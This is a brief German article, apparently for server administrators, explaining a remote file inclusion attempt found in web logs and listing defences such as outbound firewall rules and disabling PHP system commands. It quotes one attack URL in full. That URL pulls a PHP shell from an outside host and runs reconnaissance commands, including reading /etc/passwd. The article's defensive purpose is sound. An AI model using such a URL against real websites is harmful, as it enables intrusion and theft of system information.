Unix-Kommandos bequem per PHP-Shell
Der folgende Fund in den Logfiles des Autors zeigt, was sich alles anrichten lässt, wenn es keine ausreichende Absicherung gibt. Die Zeichenfolge »%20« ist ein URL-kodiertes Leerzeichen.
http://www.heinlein-support.de/index.php?id=http://farpador.ubbi.com.br/cmd.txt?&cmd=uname%20-a;cat%20/proc/version;uptime;id;pwd;/sbin/ifconfig|grep%20inet;cat%20/etc/passwd
Diese URL versucht von der Webseite »http://farpador.ubbi.com.br« die PHP-Shell »cmd.txt« nachzuladen. Dieser Shell übergibt der Aufruf gleich das gewünschte Unix-Shell-Kommando, es ermittelt das Betriebssystem, die Uptime, die Benutzerkennung und das Arbeitsverzeichnis sowie die IP-Adressen und hängt am Ende noch den Inhalt von »/etc/ passwd« an.
Stichprobenhaft sollte der Admin diese verdächtigen URLs in seinen Browser kopieren und prüfen, wie die angegriffene Webseite auf den Manipulationsversuch reagiert. Zeigt sie auch nur ansatzweise die gesuchten Systeminformationen, sind Überstunden angesagt.
Verdächtige URLs prüfen
Das Auftauchen solcher URLs an sich heißt aber nicht, dass der Angreifer Erfolg hatte. Hier ist nur der Versuch zu sehen, Systemkommandos auszuführen. Dagegen sollte der Administrator Folgendes unternehmen:
- In der Firewall verhindern, dass der Webserver externe FTP- oder HTTP-Quellen abfragt. Dazu ausgehende TCP-Verbindungen blocken oder mindestens Daten an Zielport 80 filtern.
- Falls HTTP-Verbindungen zum Beispiel für Linux- oder Antiviren-Updates notwendig sind, sollten diese nur an die Webserver der jeweiligen Hersteller erlaubt sein.
- Seine Nutzer über sorgsame PHP-Programmierung aufklären.
- Das Ausführen von Systemkommandos in PHP deaktivieren, sofern dies möglich ist.
PHP bietet die sehr sinnvolle Möglichkeit, gefährliche Kommandos für den PHP-Interpreter zu sperren.
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